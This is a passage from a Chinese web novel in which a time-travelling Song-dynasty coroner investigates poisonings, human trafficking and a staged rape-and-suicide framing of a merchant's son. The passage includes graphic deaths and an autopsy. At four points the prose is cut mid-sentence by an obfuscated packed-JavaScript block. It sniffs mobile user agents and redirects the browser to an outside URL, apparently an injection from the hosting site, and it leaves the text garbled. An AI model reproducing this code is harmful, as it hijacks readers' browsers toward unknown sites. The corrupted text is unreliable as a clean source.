宋连想了想,尝试用一千年前的人可以理解的方式回答:“草酸是一些植物中含有的,呃……具有一些功效的东西,就好比中药材之所以能治病,因为药材中含有一些成份,有时候会以毒攻毒。”
“大量服用草酸,会对我们身体当中的血液产生影响,吸走血液中的一种叫钙的东西,这个钙一旦缺失,我们的心脏就无法正常跳动,钙缺失很多,心脏就停跳了。”
甲丁点头:“肾脏……又是怎么受损的?”
宋连:“大夫常说阳气盛,肾气足,其实就是指我们腹中的这里,有一处叫做肾脏的器官,指它的功能强大。肾脏能为身体过滤排毒,这毒物如果大量进入,当然是会损伤肾脏的。刚才说的草酸,带走血液中的钙,与之结合产生结晶,被肾脏过滤,量大了,肾脏就会被堵塞,受损严重就会坏死。肾脏坏死,身体里的毒排不出去,也会要命。好了我知道你还有很多问题但你先别问了,查案要紧。”
再解释下去,科学的也要变成神学的。好在甲丁也知道现在不是打破砂锅问到底的时候,一知半解就是恰到好处。
“所以,哑石是服用了什么含有草酸的药材?”
宋连:“你闻闻?”
甲丁合上小本本,说:“酒味,刚在茶坊小屋里我就闻到了。所以酒中有毒?”
“酒中有大黄。”宋连指了指哑石四肢几处淤伤:“大黄泡制的药酒外用有活血化瘀的作用,专门用于跌打损伤,内服则可以调理肠胃。哑石与云娘扭打的时候可能发生了扭伤,于是用大黄泡酒化瘀,由于某种原因,服用了过量的大黄,导致心跳停止。”
“草酸对食道肠胃有极大的刺激,因此哑石的口腔食管都有出血。床上被褥凌乱应该是因为过于痛苦挣扎所致。如果当时他能呕吐出来,或许还有一线生机……”
但现实没有那么多如果。在如此严重的肠胃刺激之下,哑石竟然没有呕吐,他的小屋处于偏门,平时也少有人去找他,想必当时在场的只有要他命的凶手……
02
傅濂端坐堂上,两日不见,又是这KPI三人组。
傅濂心里五味杂陈,有些怀疑当初把他们仨凑一窝是不是有些草率,今天死几个明天死几个……照这个形势发展下去,汴京百万人口过不了多久就死得不剩几个了……
简直是东京三煞!
此刻的宋连,正一脸“苍天饶过谁”的表情幽怨地看着傅濂。
傅大人捋捋胡须:“你可不能怪我,休沐假我是给你放了的,是你自己三番五次跑回来干活……”
宋连欲哭无泪:“没事没事,傅局不也跟咱一起加班么,对了咱单位有调休这一说吗?”
傅濂“嗯”“啊”半天,听懂也装作听不懂。
王彦之人未见喘先到,听那粗声的呼哧带喘就知道他紧赶慢赶地来了。
发现哑石手里的木匣子,李士卿就差人往王家送了信,但现在木匣子直接关系到恶性命案,也只能让王彦之直接前往开封府接受问话。
一日未见,王彦之的白发似乎又多了许多,脸上的沟壑也更深了。
他几乎是小跑着来到堂下,看到案桌上放着的那只匣子,肥厚的脸颊又垮了下来。
显然,这只也不是。
“傅大人,此匣并非我丢失那只,想必这其中是有误会。我只是丢失了一个匣子,与别的案子一概没有干系,既然如此,在下就先行告退了。”
王彦之还抱有侥幸,期望这件事仅仅作为“私人失窃事件”压在王家内部。两名衙吏拦住了他的去路,打破了他的幻想。
傅大人一言未发,却不怒自威,王彦之渐渐收起了他那高视阔步的架子,也老老实实站在了堂下。
甲丁在一旁冷哼一声:“纸里到底是包不住火的。”
宋连拉长了音“嗯……”了一声:“也不是,阻燃纸、石棉纸、陶瓷纤维纸,一定程度上都具有耐火性……”
甲丁一听,眼睛里又放光了,刚要开口3000问,就被李士卿很刻意的咳嗽声打断了。
开庭呢,严肃点!
03
王彦之把帮“朋友”海外代购的事交待了一番,他隐去了很多关键信息,比如中间人都有谁、买家又是什么人——他自己也不是很清楚。
傅濂显然对这些说了也白说的供述十分不满意,不断从各个角度提问,要攻破王彦之的防守,非得问出几个熟悉的名字才能罢休。
但王彦之坚持咬死不说,他心里很清楚,供出谁来都与他更加不利。
与此同时,吓昏过去的胡唤终于清醒,宋连和甲丁对他展开了详细审问。
宋连:“哑石是你的打手,他的行踪你肯定是知晓的,据说昨夜他彻夜未归,去了哪里?”
“大、大人,那哑石有腿有脚,我也不可能时时刻刻看着他呀!他去过哪里,干了什么,我是真的不知道!”
“胡说!”宋连怒而拍桌,手掌心火辣辣疼,甲丁默默将一支惊堂木推到了宋连手边。
“你从安南偷渡女子,而王彦之从安南带回了宝贝,你自然有办法打听到王彦之的秘密。你派哑石去偷宝贝,被云娘撞了正着,哑石将云娘推入河中,而你,则杀了哑石灭口,两条人命在手,你死罪难逃!”
这回宋连使了惊堂木,效果不错,自己都被吓了一跳。
“冤、冤枉啊大人!我真的什么都不知道!要真是我做的,我怎么会在自己的店铺里行凶,这不是引火烧身吗!”胡唤一边哭着,两股间温热的液体顺着裤管流下来。
不对,还是不对。这胡唤实在不像是个能运筹帷幄的幕后玩家,倒是像被雇来扮演CEO的泥腿子。
“胡唤,现在你身上可担着两条人命,若如实招供,或许还有一线生机,倘若还替你那主子瞒着,就凭这案子现在牵扯的各方关系,他不但救不了你,自己八成也要吃不了兜着走。明日你就得替他先行一步!”
宋连这招诱供走得很险,但收效很好。那胡唤愣了一阵,突然疯了似的扑向宋连,被甲丁眼疾手快的拦住,但还是死死拽住了宋连的衣角。
“大人!您为我做主,我是冤枉的,我真的是冤枉的!”
他匍匐在地上,失神状喃喃自语:“那些安南女子不是我弄来的,她们就是王德财拉来的!”
突然间,他像被什么击中,大喊:“不是我,是王德财!茶坊是他开的,女子是他买的,哑石也是他的人!都是他干的,和我没关系,和我没关系,没关系……”
04
王家从商多年,生意涉及酒店地产文旅珠宝,但有几样绝对不沾,赌博就是其中一样。
得知那胡唤将赌坊“栽赃”到王家的时候,王彦之气得满脸通红差点背过去。
但当傅濂拿出盛兴茶坊的地契和胡唤的雇佣合同,他看到那白纸黑字红印章时,脸色又变得煞白。
CEO只是雇来的合同工,真正的大股东是王德财。
此刻王彦之瘫坐在府衙的椅子上,身边王德宝、王瑜正焦急万分的看着他。
他刚从昏迷中醒来,胸口还闷着一堵墙,喘不上气。
“老爹,您怎么样?好些吗?”王德宝赶紧递上一杯茶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245800|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
大儿子王德财已带上了镣铐,跪在众人面前。他方才已经哭嚎了好一阵了,现在已经没了力气,反而沉静了下来。
“那茶坊的确是我的私产,匣子也的确是我从安南带回来的,但除此之外,其他事与我毫无关系……”
没等傅濂开口,王彦之先跳了起来:“你、你竟然私设赌坊!你、我、我打死你这个不肖子!”
他随手抓起椅子就要砸向王德财,被一儿一女拦下。
王德财却一改之前嚎啕喊冤的模样,挺直了腰板,朝王彦之怒喊:“那你就打死我啊!反正私设赌场已是重罪,横竖都是死!即便不是因为这个,也早晚死在风暴海浪里!”
他说着又哽咽了起来,模样委屈得不得了,抬手狠狠擦了擦两眼流出的泪水。
“外人都说你把王家的命脉交给了我这个长子,可你的心是怎么偏袒的,你自己清楚得很!我一年四季风里来雨里去,每次出海都是拿命豪赌!这些年光是遗书就留了上百封,就怕有命去没命回!人人道我王家未来的掌门人多么风光,却不说我妻妾如何偷偷背着我在外排解寂寥!可我冒死搏来的货品,王德宝只需拿去在店铺子里一码,就可以坐等收钱!一年到头,他却拿得最多!再看王德仕,不学无术,好吃懒做,比他二哥还清闲,却衣来伸手饭来张口,日日花天酒地,出手何其阔绰,那可都是我拿命换来的血汗钱!”
“大哥你这么说就有失偏颇了!”老二王德宝不乐意了,“什么叫我坐等收钱?城里那么多铺子每日收支谁来对账?用人营生谁来调度?怎么你以为这货品摆在架子上它们就能自己卖了赚钱回来吗!我哪天不是早出晚归辛劳打理着?这其中的琐碎之事你不了解就莫要乱说!你问问三姑娘,仅仅一个王宅,上下打点就已经很繁复了,我这不知道抵几十个王宅不止!”
“都给我住口!”王彦之大喊一声,震得自己咳嗽了好几下。“既然你如此看不上这行当,我大可以收回你的商船,有的是人能做!”
王德财冷笑着啐了一口,说:“老东西得意什么!若不是出了这档子事,我本来也要和你分家的!你该不会觉得我这些年就只做跑船进出货物这一件事吧?”
王德财之所以私设赌坊,除了赌坊一本万利之外,更是各种信息的中转站。
这些年他四处做进出口生意,又为那么多达官贵人代购,一方面是充足的货源网,另一方面是VVVIP客户,这些VVVIP客户还能为他提供更多便利和信息。他不仅将王彦之的资源转移到了自己的业务中,更是搭建了自己的信息网络,采销一条龙。
“老东西,没了我的货源,老二还拿什么去卖!你以为这家你还能撑多久!”
05
“阿爹!大哥!你们都冷静!现在不是说这些家长里短的时候!”一直插不进话的王瑜终于找到时机打断了这场家庭闹剧。
“早听闻傅大人与包龙图有师生之承,自然也传承了包大人的秉公清明。今日我大哥私设赌坊罪无可恕,但他决不会做出如此杀人害命之事!相信提刑司各位大人定会明察秋毫,我王家上下几十口全仰仗大人了!”
王瑜跪匐在地,说的极为诚挚。
“姑娘,你可知那一船的木箱里,原本装了多少安南女子吗?最终活到上岸的,不到三成!”
三姑娘猛地抬起头来,眼泪止不住往下掉。
她说她大哥做不出杀人害命的事,可那些命丧大海的无辜女子们,哪个不是由她大哥王德财亲自扼杀的呢?
堂外传来争吵声。
傅濂:“何人在堂外喧闹?”
衙吏小跑着禀报:“王家仆人要见王彦之,说有要紧事。”
“荒唐!什么要事比审理案件更重要!”
正说着,从院外传来一句撕心裂肺破了音的高喊:“老爷!是小公子、小公子出事了!”
65.16 所以说不能白日宣淫!
01
王德仕以前不学无术,是因为家里有老子帮他撑腰兜底,在他的认知里,官是一定能做的,无非是大小的问题。
但最近这一系列麻烦事,他脑子就是再生锈,也知道仕途无望了。
大好的前程就这么没了,都怪那不成器的老爸和哥哥们!
王德仕也知道自己啥都不会,现在让他老老实实坐下来读书,不如要了他的命!
既然如此,不如活在当下。今朝有酒今朝醉,说不定明天就家道中落了。
于是,在王家鸡飞狗跳的这几日里,只有王德仕丝毫不受影响,反而在外花天酒地的更加猖狂。
不出意外的,就出了意外。
起因是王德仕白日宣淫,在自家的州桥酒楼里风花雪月。州桥酒楼本身并没有提供帅哥美女的服务——这也是王彦之另一个绝不涉及的领域——但如果客人从外面招人,酒楼自然也没有拒绝逐客的道理。
王德仕虽然玩的花,但也会稍微顾忌一点父亲王彦之的警告,他从不自己去妓馆招人,都是叫相熟的闲汉去指定的青-楼-妓-馆摇人。
可今天汉带回来的姐儿里,还有两三个面生的姑娘。
王德仕一开始很不高兴,觉得闲汉越界了,太拿自己当回事,尽耍些小聪明。
但那几个姑娘们各个貌若天仙,笑靥如花,说话轻言细语,一字一句都跟小猫挠心似的。
他哪里还顾得上多问,恨不能焊死了车门立马办事。
王德仕省去了前戏,刚刚进入正题,包厢的门就被几个大汉砸开。
大汉们二话不说将王彦之从美女身上捞起,哐哐就是几个嘴巴子,把王德仕扇的眼冒金星,一瞬间就懵了。
接着,就听见刚才还娇嗔的声音突然哭嚎了起来:“夫君!我被这歹人捉来玷-污-了身子,不如死了算了!”说着就从榻上爬起来,一头撞在门框上,死了。
其中一个汉子见姑娘头破血流断了气,呆滞了片刻,仰天大喊一声,从腰间拿出把菜刀,霍霍向王德仕,王德仕被人架着,跑也跑不掉,眼看着自己要命陨刀下,连求饶的胆子都没了,脏污横流,瘫了下去。
那砍刀已经搞搞举起,王德仕喉咙里只发得出“啊啊额额呜呜”的声音。
大汉高喊着:“奸商!我做鬼也不会放过你!”挥刀而下,砍向了自己的颈动脉。
血喷了王德仕满脸满身,大汉倒下后很久,那血柱还在咕咕往外冒。
王德仕终于发出一声凄厉的嚎叫,昏了过去。
02
宋连觉得自己在被一股无形的力量玩弄。
他穿越之前也很忙,但不至于忙到可以一天内解剖两件命案的三具尸体。
他刚穿来三个月而已,经他之手的尸体已经不下十具了,单位时间内能遇到这么多命案的,除了他以外就只有名侦探柯南了!
“傅局,在我们老家衙门里,有一种说法,如果一段时间内工作太忙没有休沐过,就可以申请在非休沐的时候休几天,我们把这个叫做调休。我觉得这个方法十分人性化,咱们单位也可以借鉴借鉴……”
宋连对着墙壁演练了好几次,可在面对傅濂那张艰苦朴素的脸时还是屁都没放一个,把苦涩都装进心里,悲壮的去了现场。
现在,就连甲丁对满屋子的血呼啦擦都已经麻木了。他已经学会了宋连的基本套路,从血迹的喷溅和割痕的走势判断大汉自杀前的动作,又从床榻上那斑驳发臭的污-秽证实了王德仕“吓拉了”的供词。
一系列动作一气呵成,熟练的让宋连都觉得心疼。
宋连看着负手立在包间外的李士卿,摆烂的心情更加迫切:“他在痕检,我在尸检,你在这干什么?”
“看你。”李士卿悠悠然道,一脸的正义凌然。
甲丁手里的小本本“啪”地掉在地上,好险没沾上血迹,被他在3秒之内抢救了起来。
放在以前,宋连绝对会腹诽几句,甚至会回怼调侃。可现在他连这点心情都没有了。
“去动物园参观还要买门票,都市的牛马也是牛马,可不兴白看!”宋连把那个撞死的姑娘挪到空地平躺着。
“我要给她检查下-面,你们回避吧!”
李士卿顿了顿,从外面默默合上了包间的门,发现门被大汉们砸坏了,中间有个一人大的洞。于是他转过身去,用后背堵住了。
03
“死者外Y处有轻微撕裂,Y道内壁也有明显撕裂,尤以后壁较为严重。另外死者指甲缝中有皮肤组织和血痂,和王德仕后背的抓痕应该是对得上的。”
甲丁逐一记录,说:“这么说来,王德仕确实在姑娘不情愿的情况下玷-污了她?”
“也不尽然。根据王德仕供述,他当时色性大发,急于办事,没有做什么前期准备工作,这种情况下也会导致下-部位损伤。至于抓伤……我看现场,他们玩的还很‘激烈’,有时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259067|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也可能是一种两厢情愿的情趣。”
甲丁这下听明白了:“大人的意思是,更倾向于你情我愿?”
“不是我倾向,”宋连用一根细长的筷子点了点伤口部位:“尽管有撕裂,但程度十分轻微,与强-J所留痕迹还是有些区别。”
“轻微?!”甲丁难以置信:“这都流血了!”
宋连点点头:“问题就出在这流血上。”
他用筷子头小心地从内里挑出了一些结缔组织碎片。
“这个叫做‘处-女-膜’,主要由胶原纤维、弹性纤维、血管和少量的平滑肌细胞组成,总之,就是环绕在道口的环状、半月状或筛状的人体组织,具有一定的弹性和韧性,绝大多数女子出生便有,对女性-生-殖-系统有一定的保护屏障作用。”
“还有这样的事……”甲丁又淹没在了新知识中,“所以……这与案子有什么关联?”
宋连拍了甲丁的脑袋:“落红啊!”
甲丁恍然大悟:“她是有妇之夫,所以不可能……”
“倒也不是不可能,”宋连纠正,“虽然已婚,但如果没有同房,或者即使同房了,处-女-膜-也仍然可能保持完整。”
“那不是又没有论断了!”
宋连点头:“虽然不能因此下定结论,但至少现在有了另一种可能。”
王德仕是被人陷害的。并且这人为了陷害他,不惜买断了两条鲜活的生命!
04
甲丁将那女子的衣服完完本本穿了回去,又用一块白布将她盖好。
宋连才让堵门的李士卿挪步。
李士卿也没动那破门,直接从破口处钻了进来。
“我的活结束了,该你了。”宋连指着地上盖了白布的两具尸体,“超度的时候需要清场吗?我和甲丁也可以帮你守着门。”
李士卿做了个“请便”的手势。
宋连原本已经从破洞走出去了,想起什么似的又扭头回来。
“我们活人圈里有种东西叫做‘吐真剂’,能用在活人身上让人说真话,你们神棍圈里有没有类似法术?人人都说你术法了得,你倒是帮忙问问他俩,到底什么情况?”
“强迫鬼魂有损阴德,何况我并不是什么厉害的术士。”这阵他倒是自谦起来了!
宋连心情不好,吐槽李士卿也没有让他好受一些,反倒觉得自己很无聊。他叹口气,对李士卿说:“行,你忙吧,我俩在外头等着。”
66.17 所以说也不能重色轻友!
01
两具尸体并排平放在地上,盖上了白布。李士卿掏出一些符纸绕尸体摆了一圈,然后坐到尸体旁边一处干净的空地上开始念咒。
这种超度亡灵的仪式他做了千百回,很快就完成了。按例做完这些之后他就会离开现场,绝不逗留半分,但今天不知为什么,想到宋连那明显恼怒的表情,他又鬼使神差来到尸体旁边。
地上的血还未完全干涸,黏糊糊粘到了李士卿洁白的鞋边,他看了一眼,没有后退,继续又往前走了几步。
他就是想知道,宋连为什么突然生气了。他们相识几个月以来,宋连也有破不了案颓丧的时候,但大部分时候其实是有些“懒散”的,就算遇到再难忍的尸体也只会冷静的秉公办事,在大多数人眼中,这个宋检法不太正经,还疯疯癫癫。
他是第一次在宋连脸上如此分明地看到了“愤怒”。
李士卿伸手揭开了盖在尸体上的白布。
白布下是一张非常年轻的脸庞,不,应当说是稚嫩,年龄怎么看都不过超过15岁。
宋连应该简单擦拭过姑娘脸上的血迹,让她看起来不至于那么凄惨狼狈。因为刚死不久,她的模样更像是睡着了。
“她又是谁家的孩子呢?明明还这么小!明明还没有好好享受过世界……”
李士卿突然听见了宋连的声音,但他环顾身后,宋连和甲丁还在门外,站在门洞两边沉默。
怎么回事,那声音明明很真实,就像在他耳边发出的。
李士卿指尖突然多出一道符纸,他口中默念咒诀,轻轻将符纸放在姑娘身上。
就在他的手指与尸体接触的一瞬间,一股巨大的力量将他拽进一个扭曲模糊的空间,西面八方吹来巨大的风,将他朝不同方向撕扯。他眯着眼睛,忍受着剧烈的头痛强行站定,看到那个死去的女孩生前的样子:
-“阿娘你去哪里!你们要带她去哪里?!”
-“你阿娘生了重病,赚不了钱了,你得替她还债!”
-“你很幸运,有个既能保住你清白,又能赚大钱的活,接了,你娘就有钱看病。”
李士卿在扭曲的空间中看到了那个年轻女孩一生的几个片段,最后,有一个十分模糊的、穿着黑衣的背影对她说:“你去伺候那王四公子,到时候有人会闯进来,你只需哭诉自己被那王四玷污,自我了断以证清白,还能做个烈女。”
那黑衣人又说:“你一断气,自会有人带你母亲去看病。就算看不好,这些钱也够她享受余下的日子了。”
李士卿努力想要看清那个黑衣人的模样,但更加剧烈的风像是钻进他的脑子里,挑动着他的每一根神经疯狂震动,他抱头发出痛苦的叫声,再挣扎着抬起头的时候,画面已经变成了酒楼包间。
那姑娘勾引王德仕的时候,眼里分明还忍着泪水。
接着,大汉冲进来,称是她的丈夫。姑娘哭诉的内容是假,但眼泪是真的,因为她知道自己死期已到,在撞上柱子之前,还决绝地闭上了眼睛。
李士卿的头仿佛马上要炸裂,他大叫一声站了起来,向后退了数十步撞在了破门框上。
02
“你没事吧?”宋连听见声音已经走了进来,伸手要摸摸李士卿的脑袋,被李士卿惊恐地躲开了。
“哦对,刚检查过尸体还没洗手……”宋连看着自己的双手喃喃自语。李士卿的脸色惨白,额头还有汗珠往下流,“不知道神棍是怎样,反正我们普通人生病了要去看医生的。虽然我是法医,但我只会给死人看问题,活人的毛病还的找大夫瞧。”
李士卿踉跄着站稳,听到“大夫”两个子,又看向尸体。两具尸体仍然并排躺在地上,一动不动。
“同你推断的一样,有人拿钱换了他们二人的命。”
宋连只当是李士卿在认同他推理的能力,让自己心情好一点,顺着问:“哦?是吗?你怎么知道?”
“她刚才……我看见了。女子卖身,为母治病,有人让她来赴死,承诺给她母亲看病钱。”
为了安慰人不惜编了这么完整的有模有样的故事,宋连心里稍稍有点感动,但不多。“又来了,你每次都拿我的结论装神弄鬼,这套路玩多了就不新鲜了。”
见宋连不信,李士卿也没有继续理论。他从未有过如此奇特的经历,别说宋连,此刻他自己也怀疑是出现了幻觉。
他又仔细感受了一番自己的身体,这阵好像又没什么不同了,头脑也清明,一点都不痛了。
“你要有哪里不舒服也可以跟我说说,我毕竟也学过一些基本的医学知识,小毛病说不定也能看。”宋连还在担心李士卿是不是生病了。
李士卿却只是看了他一眼,转身离开了现场。
宋连:“……没礼貌!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273254|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
03
对那闲汉的审讯,除了知道他从王德仕和妓馆中间两头赚中介费以外,也没得出什么有效的信息。
这闲汉和王德仕合作很久,对王德仕的喜好了如指掌。今天见到几个陌生姑娘,他原本是迟疑不定的,但姑娘能说会道,声音也好听,长相也稀罕,正正对上了王德仕那口。
闲汉想着大不了王公子不喜欢再退回来,要是万一合意了,自己还能多挣几个人头费呢。
妓馆就更问不出什么了。
那老鸨当街坐地上又哭又闹还喊冤:“你当我这是什么地方啊?这是妓馆啊!哪个好人家的姑娘没事愿意往这里跑啊!我上哪查她祖宗十八代去啊!”
老鸨越嚎越来劲,整条街的人都凑过来看热闹。
宋连不想影响扩大,忙去扶老鸨让她别嚎了。
老鸨坐地上耍无赖:“她被卖来的时候哭哭啼啼,说自己娘亲生病了要赚钱给娘看病!着姑娘看着还是个雏儿呢!今儿算是她第一天出台,人就没了!我勒个老天哟!我是亏了血本啊!”
老鸨哭了半天硬是一滴泪没流出来,嚎着嚎着,抬头看到三位公子的模样,突然又咧嘴笑起来:“几位小公子模样这么俊俏,别是从没去妓馆玩过吧?我这里姑娘漂亮花活还多!公子第一次来,可以免了银钱给你们尝个鲜!”
神他妈首单免费!
宋连堂堂公职人员,当然是拒绝的义正言辞。
老鸨见官大人不行,就去拉李士卿。
这家伙还在生病,又最讨厌别人碰他,可不能再被陌生人摸一把,不然病要治不好了!
宋连反应得极块,在老鸨刚伸出胳膊的一瞬间就赶忙按了下去,“你别碰他!”
动作太大,看起来像是打了老鸨一掌。
老鸨还有些懵,但毕竟在这行干了这么多年,什么场面没见过,很快恢复了笑容,还多了一脸的“我懂我懂”。
“嗨!怪我眼拙,这都没看出来!不过没关系,我这里不但有姑娘,还有小公子,模样虽然不及几位这般俊朗,但也很会伺候人的!”
眼看着李士卿的脸色更差了,宋连赶忙拉他离开,临走时把甲丁推到了老鸨面前:“他可是开封府的官!等下他问什么你就答什么!否则……就查封了你这不正规娱乐场所!”
甲丁看着逃跑的宋连,心里只有四个字:重色轻友!
67.18 盗亦有道,我盗你的东西自然有我的道理
01
王彦之一日之内折损两名儿子进了大牢,本就苍老的面色看上去像是又被抽走了七八成的生气。
老大王德财的败露还可以说是他自作孽,可小儿子的冤案,明显就是那位大人给王家下的最后通牒。
宝贝没有如期交付,还闹出这么大的动静,现在连开封府都介入了。王德仕还活着,就是神秘大人给出的倒计时,这位大人能如此轻易的买命设局,足见其权力之大。
王彦之现下能够想到的唯一的弥补方式,就是倾家荡产赔钱消灾。
他让王德宝和王瑜将各自掌管的账本全部拿出,要连同铺子和家当一起折了,争取个谅解。
“万万不可啊!”王德宝不同意,“万一那大人报复心强,拿了家当还不放人,反告我们行贿,到时候换来一个满门抄斩……”
“是不是因为你大哥说了那番话,你就要看他落难?你也看不得弟弟闲散,也恨不得他死,对不对!”
王彦之又气又悲,两行老泪簌簌落下。“我一直以为,你们兄弟几人,相互团结帮持,王家的气数还能往上走个百年!没想到……没想到你们几人早就生了嫌隙,没想到家中气数早就尽了!”
王彦之缓缓起身,歪歪扭扭走了几步:“到今天这个地步,我也无颜苟活,不如也一头撞死去了!”
说着就弓腰要往柱子那跑,被王德宝和王瑜合力抱住。
“二哥,先拿账本吧!要不要散尽家财还可以再想,若不照做就得搭上父亲的性命了!”
王德宝急的跺脚,在王瑜的催促下还是答应了。
02
“看出了什么?”
“除了都是楠木材质,漆的颜色差不多,其余都不一样。”
桌面上放着两个木匣子,乍一看一样,但稍微细看就会发现很多区别。
一只是从王彦之家门口的枯井中捞出来的,另一只是盛兴茶坊装过哑石脑袋的。
宋连盯着两个匣子看太久,眼睛酸痛,闭着眼做了几组眼保健操的动作。“要有个放大镜就好了!”
傅濂虽说已经习惯了宋连动不动就冒出一串奇怪的话语,但还是忍不住每次都捧哏:“哦?何为放大镜?”
“嘶——”自己有在无意识情况下给自己挖了个坑,“放大镜……它是一种玻璃制品,能将物体的细节放大。”
宋连简单将放大镜的外观形态和功能说明了一番,傅濂全程0o0的表情。
可惜这些都是“传说”,现在他们能使用的工具只有自己的肉眼。不过这俩八竿子打不着的匣子倒也不需要什么高精尖的仪器,因为他们早就被王彦之判定为赝品。
“我们再重头复盘一下这个案子的始末。”宋连在墙上开始乱涂乱画:
下元节那天,王彦之大设宴席,说是为了供奉水官,但更像是在炫耀资本。现在看来,当时的他对于这单代购胸有成竹,几乎认为自己小儿子的仕途已经走上了正轨。
结束时将近午夜,参加宴请的宾客都由王瑜亲自送上各自的车回家了。
宋连在途中看到一个红衣女子,面色苍白,冒雨落荒而逃。
就在差不多的时间,一道雷电劈开了王彦之书房的暗室屋顶。
不久后,流民李东山敲了王宅大门,被管家安排到车棚避雨。再后来他目睹了一个疑似云娘的女子带着包袱逃跑,因为担心被牵扯其中,所以冒雨跑走,不慎跌落枯井中。
第二日,王彦之发现木匣子不见了,清早找李士卿求助,由于大雨破环了现场,并没有发现有人入侵盗窃的痕迹,除了那个木匣子,其余宝贝都在。
通过李士卿一番神叨叨操作,在王彦之家门口的枯井中发现了李东山和一具白骨,以及一只匣子——长得很像,但并不是丢失那个。
“我们暂且称为‘赝品A’吧!”宋连继续。
尸检显示,白骨死于半个月前,正是王彦之拿到宝贝匣子的时间。与此同时,我们又再李士卿神叨叨操作下……
“咳咳——”李士卿使劲的咳了咳,对宋连把他的行为归类为“神叨叨”表示抗议。
“在李士卿的‘引导下’……”宋连换了话术。
在李士卿的引导下,在汴河下游发现了厨娘云娘,幸运的是她没死,不幸的是至今还未清醒。
尽管她无法亲口讲述当晚究竟发生了什么,却也努力向我们提供了宝贵的线索——拼命保存下的一段布条——把我们指向了盛兴茶坊。
我们到达茶坊的时候,哑石已经被害,手里捧着另一个匣子“赝品B”。还牵涉出王德财私设赌坊,以及从安南偷渡贩卖女子。
紧接着,王家末子王德仕就因为强抢民女致两人死亡被缉拿。
几分钟时间,墙上已经被宋连画的满满当当。案子到此,已经有四个人因为这个神秘的匣子死亡,可他们对这匣子几乎一无所知。
“宋检法,有何见解?”傅濂问。
“被害者就像局中的棋子,好像早早就被安排在了各自的位置上,像多米诺骨牌,”宋连解释道:“有一种游戏,将很多竹牌以一定距离码成一排,推倒第一个,带动后面的牌一个接一个的倒下,也叫连锁反应。”
甲丁又默默在本子上记下“多米诺骨牌,要玩一玩!”
傅濂有些难以理解,还是点了点头:“我也有同感,似乎这就是一场刻意针对王家的局。可王彦之就算家财万贯翻了天,也不过是个商人身份,能有如此滔天权力的大人,根本犯不着和一个商人下这么大血本。”
“不过有一点,这个人一定是对王家每个人的生活习惯都了如指掌。”
03
宋连几人已经鏖战好几天,从精神到肢体都达到了极限值。横竖也想不出什么新思路,于是决定回到暌违已久的家中,补足睡眠,来日再战。
从开封府衙出来已经是夜晚,路径州桥的时候夜市已经开张,灯火通明,只有那刚出了命案的州桥酒楼一片黑暗,闭门整改。
甲丁经过的时候不禁唏嘘:“不知何时还能再吃到他家的餐食了。”
可州桥夜市并不会因为一家酒店关张而冷清下来。街上人头攒动,街边摊贩悠长的吆喝,让宋连短暂地忘却了那些血淋淋的场面。
“等这案子结了,我们得好好出来放松放松!有好些瓦肆我都熟悉,带你逛个够!”甲丁长叹一气,更像是在为自己打气。
“好啊,就是不知道案子什么时候能水落石出。”
甲丁却是信心满满:“有宋大人在,用不了多久就能结案!”
宋连斜眼看甲丁:“我一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291190|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穷二白,盗贼见了我都要给我捐款,你说再多漂亮话我也什么都给不了你。”
“此言差矣!”甲丁从怀中掏出小本本,“你看,这一本都快写完了!”
甲丁小心翼翼把小本子塞回怀中,又说:“虽然你讲话很奇怪,经常听不懂,但你断案厉害啊!”他指了指胸口小本本的位置,“这个,以后我定要传给我的子子孙孙,让他们好好学习,成为和宋检法一样的断案神探!”
看看,看看!白队你快看看!甭管这是你先祖还是你前世,看看人家什么态度!哪像你,整天拉拉张驴脸!
宋连在心里无声呼喊。
甲丁和白队一模一样,但他不是白队;他尽职充当着助力的角色,但他也不是岳雲。
思及此,他竟突然在这热闹喧嚣的人群中感受到了一丝孤独。
“宋连,”身边突然传来李士卿的声音,“有人要闯我空门!”
04
